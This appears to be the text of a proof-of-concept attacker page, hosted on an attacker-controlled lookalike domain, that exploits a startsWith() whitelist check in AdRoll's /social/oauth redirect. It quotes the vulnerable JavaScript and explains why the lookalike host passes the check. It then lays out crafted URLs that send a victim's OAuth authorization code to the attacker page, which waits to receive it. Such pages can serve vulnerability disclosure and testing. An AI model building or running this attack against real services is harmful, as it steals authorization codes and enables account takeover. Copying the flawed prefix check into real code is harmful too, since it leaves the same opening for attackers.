startsWith() bypass on /social/oauth —
hosted on app.adroll.com.nirvanahub.com (attacker-controlled)
The /social/oauth SPA validates the state parameter with startsWith():
var whitelist = ["https://app.adroll.com", ...]; if (whitelist.some(function(e) { return state.startsWith(e); })) { window.location.href = state + "?code=" + code; // redirects to attacker }
"https://app.adroll.com.nirvanahub.com".startsWith("https://app.adroll.com")
→ true
Click a button to start the OAuth flow. The state parameter points to this attacker page. After the victim authenticates, AdRoll's SPA will redirect the OAuth code here.
Waiting for OAuth redirect with authorization code...
app.adroll.com.nirvanahub.com DNS to their serverstate=https://app.adroll.com.nirvanahub.comhttps://app.adroll.com/social/oauth?code=AUTH_CODE&state=https://app.adroll.com.nirvanahub.comstate.startsWith("https://app.adroll.com") → PASShttps://app.adroll.com.nirvanahub.com?code=AUTH_CODE